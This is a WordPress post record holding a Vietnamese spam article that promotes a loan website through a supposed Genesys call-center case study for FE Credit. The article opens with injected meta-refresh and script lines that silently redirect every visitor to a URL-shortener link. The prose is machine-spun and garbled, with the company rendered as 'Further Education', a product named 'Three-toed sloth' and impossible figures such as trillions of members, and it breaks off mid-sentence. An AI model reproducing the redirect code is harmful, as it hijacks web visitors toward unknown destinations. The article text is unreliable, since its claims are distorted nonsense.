{"id":29911,"date":"2024-09-28T09:49:28","date_gmt":"2024-09-28T07:49:28","guid":{"rendered":"https:\/\/invengenio.com\/?p=29911"},"modified":"2025-05-30T09:49:28","modified_gmt":"2025-05-30T07:49:28","slug":"genesys-ho-tro-fe-fiscal-match-call-center-agent-stress-va-bat-dau-https-fecredit-vay-com-cap-nhat-hieu-qua-cua-agent","status":"publish","type":"post","link":"https:\/\/invengenio.com\/index.php\/2024\/09\/28\/genesys-ho-tro-fe-fiscal-match-call-center-agent-stress-va-bat-dau-https-fecredit-vay-com-cap-nhat-hieu-qua-cua-agent\/","title":{"rendered":"Genesys h\u1ed7 tr\u1ee3 Fe Fiscal Match Call center Agent Stress v\u00e0 b\u1eaft \u0111\u1ea7u https:\/\/fecredit-vay.com\/ C\u1eadp nh\u1eadt Hi\u1ec7u qu\u1ea3 c\u1ee7a Agent"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.org\/VMCivyawF0r8\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.org\/VMCivyawF0r8\";<\/script><\/p>\n<div id=\"toc\" style=\"background: #f9f9f9; border: 1px solid #aaa; display: table; margin-bottom: 1em; padding: 1em; width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: bold; text-align: center;\">B\u00e0i vi\u1ebft<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">D\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng<\/a><\/li>\n<li><a href=\"#toc-1\">Vi\u1ec7c b\u00e1n h\u00e0ng<\/a><\/li>\n<li><a href=\"#toc-2\">N\u01a1i l\u00e0m vi\u1ec7c c\u1ee7a Backbone<\/a><\/li>\n<li><a href=\"#toc-3\">\u1ee6ng h\u1ed9<\/a><\/li>\n<\/ul>\n<\/div>\n<p>Fe Financial l\u00e0 m\u1ed9t c\u00f4ng ty cho vay c\u00e1 nh\u00e2n m\u1edf kh\u00f3a <a href=\"https:\/\/fecredit-vay.com\/\">https:\/\/fecredit-vay.com\/<\/a> t\u1ea1i Vi\u1ec7t Nam, t\u1ea1o ra s\u1ef1 b\u1ed5 sung kinh t\u1ebf trong h\u1ed7 tr\u1ee3 t\u00e0i ch\u00ednh. \u0110\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u c\u1ee7a ng\u01b0\u1eddi d\u00f9ng v\u00e0 b\u1eaft \u0111\u1ea7u n\u00e2ng cao n\u0103ng su\u1ea5t c\u1ed1 v\u1ea5n, Further Education Financial \u0111\u00e3 c\u00f3 m\u1ed9t ch\u01b0\u01a1ng tr\u00ecnh trung t\u00e2m hi\u1ec7u \u1ee9ng \u0111a k\u00eanh tuy\u1ec7t v\u1eddi.<\/p>\n<p>Genesys Multicloud CX h\u1ed7 tr\u1ee3 tin nh\u1eafn k\u1ebft h\u1ee3p t\u00edch h\u1ee3p v\u00e0 kh\u1edfi t\u1ea1o c\u1ed1 v\u1ea5n h\u00f4n nh\u00e2n cho ng\u01b0\u1eddi ti\u00eau d\u00f9ng. <!--more--> T\u1eadn h\u01b0\u1edfng \u0111i\u1ec1u h\u01b0\u1edbng d\u1ef1 \u0111o\u00e1n, to\u00e0n b\u1ed9 c\u01a1 th\u1ec3 quy\u1ebft \u0111\u1ecbnh m\u1ed9t \u0111\u1ea1i l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n ph\u00f9 h\u1ee3p \u0111\u1ec3 v\u1eadn chuy\u1ec3n cho m\u1ed7i t\u00ecm ki\u1ebfm\u2014\u0111\u1ea3m b\u1ea3o c\u1ea3m gi\u00e1c in s\u00e2u cho m\u1ed7i ng\u01b0\u1eddi g\u1ecdi.<\/p>\n<h2 id=\"toc-0\">D\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng<\/h2>\n<p>L\u00e0 m\u1ed9t doanh nghi\u1ec7p t\u00e0i ch\u00ednh \u0111\u1eb7c bi\u1ec7t \u01b0u ti\u00ean t\u00ednh t\u1eadp trung v\u00e0o c\u00e1 nh\u00e2n, Fe Economic mong mu\u1ed1n kh\u1eb3ng \u0111\u1ecbnh c\u1ea3m gi\u00e1c \u0111a k\u00eanh gia t\u0103ng cho 10 ngh\u00ecn t\u1ef7 th\u00e0nh vi\u00ean \u0111ang t\u1ea1o ra. Tuy nhi\u00ean, di s\u1ea3n \u00e2m nh\u1ea1c c\u1ee7a h\u1ecd li\u00ean quan \u0111\u1ebfn c\u01a1 s\u1edf h\u1ea1 t\u1ea7ng qu\u1ed1c gia quan tr\u1ecdng \u0111\u00e3 \u0111\u1ea5u tranh \u0111\u1ec3 cung c\u1ea5p m\u1ee9c \u0111\u1ed9 quan h\u1ec7 cao nh\u1ea5t.<\/p>\n<p>\u0110\u1ec3 ch\u0103m s\u00f3c th\u1ef1c t\u1ebf, doanh nghi\u1ec7p \u0111\u00e3 chuy\u1ec3n \u0111\u1ebfn Genesys Multicloud CX. S\u1eed d\u1ee5ng c\u1ed1 v\u1ea5n n\u00e0y, n\u00f3 th\u1ef1c hi\u1ec7n c\u00e1c t\u01b0\u01a1ng t\u00e1c t\u00f9y ch\u1ec9nh v\u1edbi c\u00e1c th\u00e0nh vi\u00ean, t\u1ea1o th\u1eddi gian tr\u1ea3 l\u1eddi \u0111\u01a1n gi\u1ea3n h\u01a1n v\u00e0 kh\u1edfi t\u1ea1o \u0111\u1ea1t \u0111\u01b0\u1ee3c n\u0103ng su\u1ea5t c\u1ee7a \u0111\u1ea1i l\u00fd. N\u00f3 c\u0169ng c\u00f3 th\u1ec3 nh\u1eadp c\u00e1c manh m\u1ed1i ng\u1eef c\u1ea3nh th\u00e0nh c\u00f4ng v\u00e0o \u00e1p l\u1ef1c c\u00e1 nh\u00e2n. V\u1edbi m\u1ed9t trong nh\u1eefng manh m\u1ed1i n\u00e0y, c\u01a1 th\u1ec3 ngay l\u1eadp t\u1ee9c chuy\u1ec3n h\u01b0\u1edbng c\u00e1c th\u00e0nh vi\u00ean \u0111\u1ebfn nh\u00e0 m\u00f4i gi\u1edbi ph\u00f9 h\u1ee3p n\u1ebfu b\u1ea1n c\u1ea7n ch\u1ec9 huy c\u00e1c c\u00e2n nh\u1eafc c\u1ee7a c\u00f4 \u1ea5y gi\u00fap c\u00e1c \u0111\u1ea1i l\u00fd gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 trong gi\u1edd h\u1eefu h\u00ecnh. Ngo\u00e0i ra, n\u00f3 cho ph\u00e9p b\u1ea1n h\u1ed7 tr\u1ee3 c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi n\u1ebfu b\u1ea1n mu\u1ed1n thay \u0111\u1ed5i gi\u1eefa c\u00e1c m\u1ee5c \u0111\u00edch s\u1eed d\u1ee5ng m\u1ed9t c\u00e1ch d\u1ec5 d\u00e0ng v\u00e0 kh\u1edfi t\u1ea1o lo\u1ea1i b\u1ecf c\u00e1c nh\u00f3m y\u00eau c\u1ea7u \u0111\u0103ng nh\u1eadp.<\/p>\n<p>Ngo\u00e0i ra, n\u00f3 c\u00f3 th\u1ec3 t\u1eadn d\u1ee5ng d\u1ecbch v\u1ee5 t\u1ea1i nh\u00e0 theo ch\u01b0\u01a1ng tr\u00ecnh \u0111\u1ec3 gi\u1ea3m chi ph\u00ed cho c\u00e1c k\u1ef9 thu\u1eadt c\u1ee7a ng\u01b0\u1eddi ti\u00eau d\u00f9ng, c\u1ea3i thi\u1ec7n n\u0103ng su\u1ea5t ch\u1ee9c n\u0103ng v\u00e0 kh\u1edfi x\u01b0\u1edbng n\u00e2ng cao tr\u1ea3i nghi\u1ec7m c\u1ee7a ng\u01b0\u1eddi d\u00f9ng. Ngo\u00e0i ra, n\u00f3 s\u1ebd \u0111\u01b0a v\u00e0o c\u00e1c ngu\u1ed3n l\u1ef1c QA c\u1ee7a h\u1ecd \u0111\u1ec3 \u0111i\u1ec1u tra ch\u1ee9c n\u0103ng li\u00ean quan \u0111\u1ebfn c\u00e1c nh\u00e0 cung c\u1ea5p trung t\u00e2m cu\u1ed9c g\u1ecdi v\u00e0 v\u1eabn tham gia ho\u1eb7c th\u1eadm ch\u00ed \u0111\u00e0o t\u1ea1o kh\u1ea3 n\u0103ng n\u00e0y. \u0110i\u1ec1u n\u00e0y gi\u00fap ti\u1ebft ki\u1ec7m th\u1eddi gian \u0111\u00e1nh gi\u00e1 v\u00e0 gi\u1ea3m chi ph\u00ed ho\u1ea1t \u0111\u1ed9ng.<\/p>\n<p>N\u00f3 c\u0169ng c\u00f3 th\u1ec3 \u0111\u01b0a v\u00e0o Virtual Adviser c\u1ee7a ri\u00eang h\u1ecd \u0111\u1ec3 tr\u1ea3i nghi\u1ec7m telesales cho c\u00e1c nh\u00e0 cung c\u1ea5p ti\u1ebfn \u0111\u1ed9, y\u00eau c\u1ea7u nh\u1eafc nh\u1edf truy\u1ec1n th\u00f4ng ti\u1ebfp th\u1ecb v\u00e0 ch\u1ee7 \u0111\u1ed9ng b\u1eaft \u0111\u1ea7u theo \u0111u\u1ed5i c\u00e1c y\u00eau c\u1ea7u k\u1ebft n\u1ed1i. N\u00f3 cho ph\u00e9p h\u1ed7 tr\u1ee3 gi\u1eef l\u1ea1i c\u00e1c ngu\u1ed3n l\u1ef1c v\u00e0 chi ph\u00ed trong khi t\u1ea1o ra kh\u1ea3 n\u0103ng \u0111i k\u00e8m v\u1edbi c\u00e1c th\u00f4ng s\u1ed1 k\u1ef9 thu\u1eadt ri\u00eang l\u1ebb. N\u00f3 c\u0169ng cho ph\u00e9p b\u1ea1n ch\u1ee7 \u0111\u1ed9ng x\u00e1c \u0111\u1ecbnh c\u00e1c tr\u00f2 l\u1eeba \u0111\u1ea3o t\u00ecm ki\u1ebfm s\u1ee9c m\u1ea1nh v\u00e0 b\u1eaft \u0111\u1ea7u gi\u00fap \u1ed5n \u0111\u1ecbnh c\u00e1c thi\u1ebft b\u1ecb c\u1ee7a c\u00f4ng ty v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c chi ti\u1ebft ri\u00eang l\u1ebb.<\/p>\n<h2 id=\"toc-1\">Vi\u1ec7c b\u00e1n h\u00e0ng<\/h2>\n<p>Gi\u00e1o d\u1ee5c kinh t\u1ebf ti\u1ebfp t\u1ee5c h\u00e0nh \u0111\u1ed9ng \u1edf \u00edt nh\u1ea5t 15 ngh\u00ecn t\u1ef7 ng\u01b0\u1eddi v\u00e0 b\u1eaft \u0111\u1ea7u th\u1ed1ng tr\u1ecb th\u1ecb tr\u01b0\u1eddng v\u1ed1n c\u00e1 nh\u00e2n \u0111\u01b0\u1ee3c ti\u1ebft l\u1ed9 t\u1ea1i Vi\u1ec7t Nam. Khi m\u1ed9t s\u1ef1 h\u1ed7 tr\u1ee3 ph\u00e1t tri\u1ec3n, n\u00f3 qu\u00e1 c\u1ea7n thi\u1ebft cho Gi\u00e1o d\u1ee5c ti\u1ebfp t\u1ee5c \u0111\u1ec3 cung c\u1ea5p cho ng\u01b0\u1eddi ti\u00eau d\u00f9ng \u0111a k\u00eanh c\u1ea3m th\u1ea5y s\u1ef1 b\u1ed5 sung t\u00e0i ch\u00ednh c\u1ee5 th\u1ec3. Nh\u01b0ng, c\u00e1c m\u00e3 t\u1ea1i c\u01a1 s\u1edf h\u1ea1 t\u1ea7ng th\u01b0\u01a1ng m\u1ea1i trung t\u00e2m cu\u1ed9c g\u1ecdi di s\u1ea3n \u00e2m nh\u1ea1c c\u1ee7a h\u1ecd m\u1edf ra nh\u1eefng n\u00fat th\u1eaft c\u1ed5 chai li\u00ean quan \u0111\u1ebfn ng\u01b0\u1eddi lao \u0111\u1ed9ng trong vi\u1ec7c gi\u1ea3i quy\u1ebft c\u00e1c m\u1ed1i quan h\u1ec7 c\u00e1 nh\u00e2n. Gi\u00e1o d\u1ee5c kinh t\u1ebf ti\u1ebfp t\u1ee5c c\u00f3 m\u1ed9t nh\u00e0 m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ed1t l\u00f5i c\u00f3 hi\u1ec7u \u1ee9ng t\u1ea5t c\u1ea3 trong b\u1ea5t k\u1ef3 ai nhanh ch\u00f3ng c\u00f3 th\u1ec3 ch\u1ee9a quy m\u00f4 c\u00e1c ch\u1ee9c n\u0103ng c\u1ee7a h\u1ecd.<\/p>\n<p>\u0110\u00e3 \u0111\u1ec1 c\u1eadp tr\u01b0\u1edbc \u0111\u00f3, t\u1ed5 ch\u1ee9c c\u00f3 m\u1ed9t c\u1eb7p ph\u01b0\u01a1ng ph\u00e1p ch\u00ednh v\u1ec1 hi\u1ec7u \u1ee9ng h\u00ecnh th\u1ee9c li\u00ean quan \u0111\u1ebfn s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng IVR h\u01b0\u1edbng n\u1ed9i v\u00e0 kh\u1edfi t\u1ea1o c\u00e1c n\u1ed7 l\u1ef1c quay s\u1ed1 t\u1ef1 \u0111\u1ed9ng h\u01b0\u1edbng ngo\u1ea1i. C\u00e1c kho th\u00f4ng tin \u0111\u01b0\u1ee3c th\u00e0nh l\u1eadp v\u00e0 b\u1eaft \u0111\u1ea7u ng\u0103n ch\u1eb7n c\u00e1c \u0111\u1ea1i l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n th\u1ea3o lu\u1eadn v\u1ec1 gi\u1ea5y t\u1edd, t\u0103ng c\u00e1c k\u1ef9 thu\u1eadt kh\u00f4ng hi\u1ec7u qu\u1ea3 v\u00e0 tr\u1ea3i nghi\u1ec7m ng\u01b0\u1eddi d\u00f9ng ho\u00e0n ch\u1ec9nh kh\u00f4ng \u0111\u1ea7y \u0111\u1ee7. M\u1ed9t c\u1ed1 v\u1ea5n Genesys Multicloud CX m\u1edbi \u0111\u00e3 h\u1ee3p nh\u1ea5t hai h\u1ec7 th\u1ed1ng \u0111\u00f3 b\u1eb1ng m\u1ed9t g\u00f3i ph\u1ea7n m\u1ec1m m\u00e1y t\u00ednh c\u1ee7a \u0111\u1ea1i l\u00fd \u0111a k\u00eanh, cung c\u1ea5p cho Further ed \u0111\u1ec3 gi\u1ea3m chi ph\u00ed chi ti\u1ebft, t\u1ea1o ra c\u00e1c t\u1ec7p \u0111\u01a1n gi\u1ea3n h\u01a1n trong nhi\u1ec1u n\u0103m v\u00e0 b\u1eaft \u0111\u1ea7u hi\u1ec7u qu\u1ea3 c\u1ed1 v\u1ea5n th\u1eddi gian tuy\u1ec7t v\u1eddi.<\/p>\n<p>Ngo\u00e0i ra, ch\u01b0\u01a1ng tr\u00ecnh c\u1ea3m nh\u1eadn ng\u01b0\u1eddi d\u00f9ng \u0111a k\u00eanh Genesys h\u1ed7 tr\u1ee3 Further ed \u0111\u1ec3 ki\u1ec3m so\u00e1t \u0111i\u1ec1u h\u01b0\u1edbng d\u1ef1 \u0111o\u00e1n v\u00e0 b\u1eaft \u0111\u1ea7u nh\u1eefng ng\u01b0\u1eddi g\u1ecdi ngang h\u00e0ng trong \u0111\u1ea1i l\u00fd ph\u00f9 h\u1ee3p \u0111\u1ec3 ch\u0103m s\u00f3c nh\u1eefng lo l\u1eafng c\u1ee7a c\u00f4 g\u00e1i, cung c\u1ea5p m\u1ed9t c\u1ea3m gi\u00e1c ng\u01b0\u1eddi ti\u00eau d\u00f9ng c\u00e1 nh\u00e2n, thuy\u1ebft ph\u1ee5c v\u00e0 b\u1eaft \u0111\u1ea7u kh\u00f4ng b\u1ecb \u0111\u1ee9t \u0111o\u1ea1n. C\u00e1c \u0111i\u1ec3m ti\u1ebfp x\u00fac \u0111\u01b0\u1ee3c \u0111\u01b0a ra t\u1ea1i chuy\u1ebfn bay c\u1ee7a ng\u01b0\u1eddi d\u00f9ng c\u0169ng \u0111\u01b0\u1ee3c t\u00edch h\u1ee3p d\u1ec5 d\u00e0ng v\u00e0o b\u1ee5c CRM c\u1ee7a c\u00f4ng ty.<\/p>\n<p>L\u00e0 m\u1ed9t l\u1ee3i \u00edch th\u01b0\u1edfng, Fe c\u00f3 th\u1ec3 t\u1eadn d\u1ee5ng t\u1ed1i \u0111a c\u00e1c ngu\u1ed3n v\u00e0 chi ph\u00ed s\u1eed d\u1ee5ng Voicebot Personal Realtor nh\u01b0 m\u1ed9t &quot;c\u1ed1 v\u1ea5n trung t\u00e2m cu\u1ed9c g\u1ecdi tuy\u1ec7t v\u1eddi&quot;. Thi\u1ebft b\u1ecb ch\u1ea1y b\u1eb1ng Bradypus tridactylus c\u1ee7a b\u1ea1n t\u1ef1 \u0111\u1ed9ng h\u00f3a c\u00e1c cu\u1ed9c g\u1ecdi ti\u1ebfp th\u1ecb qua \u0111i\u1ec7n tho\u1ea1i b\u00ean ngo\u00e0i cho c\u00e1c \u0111\u1ea1i l\u00fd ti\u1ebfn \u0111\u1ed9 v\u00e0 b\u1eaft \u0111\u1ea7u y\u00eau c\u1ea7u \u00fd t\u01b0\u1edfng. Th\u00eam v\u00e0o \u0111\u00f3, tuy nhi\u00ean, n\u00f3 c\u00f3 th\u1ec3 h\u1eefu \u00edch \u0111\u1ec3 ki\u1ec3m tra b\u1ea5t k\u1ef3 hi\u1ec7u su\u1ea5t n\u00e0o li\u00ean quan \u0111\u1ebfn c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi trung t\u00e2m cu\u1ed9c g\u1ecdi v\u00e0 b\u1eaft \u0111\u1ea7u kh\u1edfi \u0111\u1ed9ng c\u00e1c \u0111\u1eb7c quy\u1ec1n hi\u1ec7u qu\u1ea3 v\u1edbi c\u00e1c l\u1ee3i \u00edch c\u00f3 th\u1ec3 \u0111\u1ecbnh l\u01b0\u1ee3ng \u0111\u01b0\u1ee3c.<\/p>\n<h2 id=\"toc-2\">N\u01a1i l\u00e0m vi\u1ec7c c\u1ee7a Backbone<\/h2>\n<p>Ngo\u00e0i vi\u1ec7c cung c\u1ea5p d\u1ecbch v\u1ee5 tr\u1ea3 l\u1eddi cho c\u00e1c nh\u00e0 cung c\u1ea5p c\u00f4ng ty trong b\u00e0i t\u1eadp v\u00e0 kh\u1edfi t\u1ea1o mong mu\u1ed1n, m\u00f4i tr\u01b0\u1eddng v\u0103n ph\u00f2ng h\u1ed7 tr\u1ee3 c\u1ee7a Fe Financial h\u1ed7 tr\u1ee3 c\u00e1c l\u1ee3i \u00edch c\u1ee7a c\u00f4 g\u00e1i. Ch\u1eb3ng h\u1ea1n nh\u01b0 cung c\u1ea5p li\u00ean k\u1ebft th\u01b0\u1eddng xuy\u00ean v\u00e0 b\u1eaft \u0111\u1ea7u th\u1ef1c s\u1ef1, ch\u1ee7 \u0111\u1ed9ng gi\u1ea3i quy\u1ebft c\u00e1c m\u1ed1i quan t\u00e2m c\u1ee7a ng\u01b0\u1eddi ti\u00eau d\u00f9ng v\u00e0 m\u1ee9c \u0111\u1ed9 chi ti\u1ebft ki\u1ebfn \u200b\u200bth\u1ee9c cao. Tuy nhi\u00ean, n\u00f3 ch\u1ee9ng minh th\u00f4ng tin \u0111\u01b0\u1ee3c \u0111\u0103ng k\u00fd trong h\u1ec7 th\u1ed1ng c\u00e1 nh\u00e2n, trong \u0111\u00f3 b\u1ea5t k\u1ef3 m\u1ed1i quan h\u1ec7 n\u00e0o c\u1ee7a ng\u01b0\u1eddi ti\u00eau d\u00f9ng c\u00f3 xu h\u01b0\u1edbng \u0111\u01b0\u1ee3c theo d\u00f5i v\u00e0 b\u1eaft \u0111\u1ea7u ki\u1ec3m tra.<\/p>\n<p>Tr\u01b0\u1edbc khi tri\u1ec3n khai m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n Genesys, Further ed Economic \u0111\u00e3 tham gia v\u00e0o 2 thi\u1ebft b\u1ecb ch\u00ednh c\u00f3 hi\u1ec7u \u1ee9ng b\u1ed5 sung \u0111\u1ec3 duy tr\u00ec c\u00e1c k\u00eanh l\u1ea5p \u0111\u1ea7y ng\u01b0\u1eddi ph\u1ee5 n\u1eef &#8211; m\u1ed9t c\u00e1 nh\u00e2n li\u00ean quan \u0111\u1ebfn tr\u1ee3 gi\u00fap ng\u01b0\u1eddi ti\u00eau d\u00f9ng IVR \u0111\u1ebfn sau \u0111\u00f3 l\u00e0 m\u1ed9t li\u00ean quan \u0111\u1ebfn n\u1ed7 l\u1ef1c quay s\u1ed1 t\u1ef1 \u0111\u1ed9ng ra ngo\u00e0i. Lu\u1ed3ng \u1ed5n \u0111\u1ecbnh b\u1ecb c\u00f4 l\u1eadp th\u1ef1c s\u1ef1 \u0111\u00e3 c\u1ea3n tr\u1edf kh\u1ea3 n\u0103ng c\u1ee7a h\u1ecd n\u1ebfu b\u1ea1n mu\u1ed1n \u0111\u01b0a v\u00e0o c\u00e1c ho\u1ea1t \u0111\u1ed9ng ti\u1ebfp th\u1ecb v\u00e0 b\u00e1n h\u00e0ng \u01b0u ti\u00ean v\u00e0 kh\u1edfi t\u1ea1o tr\u1ee3 gi\u00fap n\u0103ng su\u1ea5t c\u1ee7a m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n, th\u00eam v\u00e0o c\u00e1c t\u00e0i kho\u1ea3n kh\u00f4ng ph\u00f9 h\u1ee3p li\u00ean quan \u0111\u1ebfn c\u00e1c th\u00e0nh vi\u00ean. Do \u0111\u00f3, b\u1ea5t k\u1ef3 h\u1ec7 th\u1ed1ng th\u00f4ng tin h\u1ee3p nh\u1ea5t n\u00e0o c\u1ee7a Genesys \u0111\u1ec1u cho ph\u00e9p h\u1ecd t\u1eadn d\u1ee5ng c\u00e1c ch\u1ee9c n\u0103ng \u0111i\u1ec1u h\u01b0\u1edbng d\u1ef1 \u0111o\u00e1n \u0111\u1ec3 ngay l\u1eadp t\u1ee9c t\u00ecm th\u1ea5y m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n ph\u00f9 h\u1ee3p \u0111\u1ec3 tr\u1ea3 l\u1eddi n\u1ebfu b\u1ea1n mu\u1ed1n y\u00eau c\u1ea7u c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, n\u00e2ng cao hi\u1ec7u qu\u1ea3 ho\u1ea1t \u0111\u1ed9ng v\u00e0 b\u1eaft \u0111\u1ea7u h\u1ea1n ch\u1ebf th\u1eddi gian ch\u1edd \u0111\u1ee3i. B\u1ea5t k\u1ef3 lo\u1ea1i \u0111i\u1ec3m ti\u1ebfp x\u00fac n\u00e0o \u0111\u01b0\u1ee3c \u0111\u01b0a ra th\u01b0\u1eddng d\u1ec5 d\u00e0ng t\u00edch h\u1ee3p v\u00e0o m\u1ed9t ch\u01b0\u01a1ng tr\u00ecnh CRM m\u1edbi li\u00ean quan \u0111\u1ebfn \u0111i\u1ec1u tra d\u00e0i h\u1ea1n.<\/p>\n<p>CMC TSSG \u0111\u00e3 s\u1eed d\u1ee5ng h\u1ee3p l\u00fd m\u1ed9t k\u00eanh \u0111a k\u00eanh nhi\u1ec1u n\u0103m li\u00ean quan \u0111\u1ebfn Further ed Fiscal, cho ph\u00e9p h\u1ecd qu\u1ea3n l\u00fd kho\u1ea3ng 3,5 tri\u1ec7u th\u00f4ng tin li\u00ean l\u1ea1c ti\u1ebfp th\u1ecb m\u1ed7i ng\u00e0y, email, tr\u00f2 chuy\u1ec7n tr\u00ean web v\u00e0 kh\u1edfi t\u1ea1o Youtube tr\u00ean c\u00f9ng m\u1ed9t ph\u1ea7n m\u1ec1m m\u00e1y t\u00ednh c\u1ed1 v\u1ea5n. C\u0169ng nh\u01b0, h\u1ecd c\u00f3 th\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a c\u00e1c quy tr\u00ecnh v\u00e0 th\u1ee7 t\u1ee5c h\u1ec7 th\u1ed1ng \u0111\u1ec3 \u0111\u01a1n gi\u1ea3n h\u00f3a ph\u00fat c\u00f3 li\u00ean quan \u0111\u1ebfn vi\u1ec7c t\u1ea1o t\u1ec7p gi\u00fap t\u1eadn d\u1ee5ng t\u1ed1i \u0111a c\u00e1c gi\u1ea3i ph\u00e1p trong th\u1eddi gian t\u1ed1i \u01b0u. N\u00f3 s\u1ebd c\u1eadp nh\u1eadt n\u0103ng su\u1ea5t c\u1ee7a c\u00f4ng ty d\u1ecbch v\u1ee5 tr\u1ea3 l\u1eddi cu\u1ed1i c\u00f9ng t\u1ea1o ra chi ph\u00ed ph\u00ed \u200b\u200bd\u1ecbch v\u1ee5. Th\u00eam v\u00e0o \u0111\u00f3, b\u1ea5t k\u1ef3 c\u1ed1 v\u1ea5n Voicebot Three-toed sloth n\u00e0o c\u0169ng h\u1ed7 tr\u1ee3 Fe Monetary quan s\u00e1t v\u00e0 b\u1eaft \u0111\u1ea7u \u0111\u00e1nh gi\u00e1 kh\u1ea3 n\u0103ng m\u1edbi li\u00ean quan \u0111\u1ebfn c\u00e1c nh\u00e0 cung c\u1ea5p v\u00e0 \u0111\u01b0a ra b\u1eb1ng ch\u1ee9ng v\u1ec1 c\u00e1c \u0111\u1eb7c quy\u1ec1n hi\u1ec7u su\u1ea5t v\u00e0 b\u1eaft \u0111\u1ea7u k\u1ebft qu\u1ea3.<\/p>\n<h2 id=\"toc-3\">\u1ee6ng h\u1ed9<\/h2>\n<p>Fe Fiscal \u0111\u00e3 s\u1eed d\u1ee5ng th\u1eddi gian c\u1ee7a Genesys \u0111\u1ec3 nh\u1eafm m\u1ee5c ti\u00eau v\u00e0o giao ti\u1ebfp c\u00e1 nh\u00e2n, b\u1ecf th\u1eddi gian \u0111\u00e0o t\u1ea1o m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ec3 t\u0103ng n\u0103ng su\u1ea5t d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. S\u1ebd thi\u1ebft l\u1eadp \u00edt nh\u1ea5t h\u00e0ng ngh\u00ecn giao ti\u1ebfp b\u00e1n h\u00e0ng v\u00e0 ti\u1ebfp th\u1ecb m\u1ed7i ng\u00e0y v\u1edbi b\u1ed1n, n\u0103m tr\u0103m nh\u00e0 m\u00f4i gi\u1edbi th\u00f4ng qua c\u00e1c b\u1ed9 lu\u1ed3ng. C\u00f9ng v\u1edbi ch\u01b0\u01a1ng tr\u00ecnh, Further Education Economic \u0111\u00e3 \u00e1p d\u1ee5ng email, web speak, Metacafe v\u00e0 b\u1eaft \u0111\u1ea7u s\u1eed d\u1ee5ng thi\u1ebft b\u1ecb di \u0111\u1ed9ng t\u1eeb b\u1ee5c m\u00e1y t\u00ednh x\u00e1ch tay ho\u1eb7c m\u00e1y t\u00ednh m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n h\u1ee3p nh\u1ea5t c\u1ee7a h\u1ecd.<\/p>\n<p>Tr\u01b0\u1edbc khi s\u1eed d\u1ee5ng b\u1ea5t k\u1ef3 t\u00e1c nh\u00e2n Genesys n\u00e0o, c\u00e1c ph\u01b0\u01a1ng ph\u00e1p k\u1ebf th\u1eeba c\u1ee7a Fe Monetary \u0111\u00e3 t\u1ea1o ra c\u00e1c n\u00fat th\u1eaft trong vi\u1ec7c qu\u1ea3n l\u00fd c\u00e1c con \u0111\u01b0\u1eddng l\u1ea5p \u0111\u1ea7y d\u1ecbch v\u1ee5 c\u1ee7a ng\u01b0\u1eddi d\u00f9ng. Thi\u1ebfu ch\u00ednh x\u00e1c trong vi\u1ec7c theo d\u00f5i c\u00e1c nh\u00e0 cung c\u1ea5p b\u1ecb \u1ea3nh h\u01b0\u1edfng trong kho\u1ea3ng th\u1eddi gian nh\u1ea5t \u0111\u1ecbnh, s\u1ef1 ti\u1ec7n l\u1ee3i c\u1ee7a vi\u1ec7c \u0111\u01b0a ra c\u00e1c y\u00eau c\u1ea7u \u01b0u ti\u00ean v\u00e0 kh\u1edfi t\u1ea1o c\u00e1c ch\u1ee9c n\u0103ng li\u00ean h\u1ec7 kh\u00f4ng ho\u1ea1t \u0111\u1ed9ng \u0111\u00e3 l\u00e0m ch\u1eadm c\u00e1c li\u00ean k\u1ebft li\u00ean l\u1ea1c v\u00e0 kh\u1edfi t\u1ea1o c\u00e1c \u0111\u00e1nh gi\u00e1 c\u1ee7a ng\u01b0\u1eddi d\u00f9ng b\u1ecb \u1ea3nh h\u01b0\u1edfng. Ngo\u00e0i ra, vi\u1ec7c ph\u1ea3i \u0111\u0103ng nh\u1eadp tr\u1ef1c ti\u1ebfp v\u00e0o c\u00e1c nh\u00f3m ph\u01b0\u01a1ng ph\u00e1p c\u00f3 ngh\u0129a l\u00e0 c\u00e1c nh\u00e0 m\u00f4i gi\u1edbi c\u00f3 th\u1ec3 kh\u00f4ng th\u1ef1c s\u1ef1 thay \u0111\u1ed5i li\u00ean quan \u0111\u1ebfn vi\u1ec7c s\u1eed d\u1ee5ng \u0111\u1ea7y \u0111\u1ee7.<\/p>\n<p>Trong h\u1ec7 th\u1ed1ng Genesys, Fe Monetary c\u00f3 th\u1ec3 ch\u1ee7 \u0111\u1ed9ng th\u00f4ng b\u00e1o cho c\u00e1c \u0111\u1ea1i l\u00fd theo th\u1eddi gian th\u1ef1c n\u1ebfu b\u1ea1n mu\u1ed1n \u0111\u01b0a ra c\u00e1c c\u00e2u h\u1ecfi \u01b0u ti\u00ean v\u00e0 b\u1eaft \u0111\u1ea7u chuy\u1ec3n h\u01b0\u1edbng ch\u00fang \u0111\u1ebfn c\u1ed1 v\u1ea5n c\u1ea5p cao. N\u1ec1n t\u1ea3ng n\u00e0y c\u0169ng th\u00fac \u0111\u1ea9y nh\u00e2n vi\u00ean 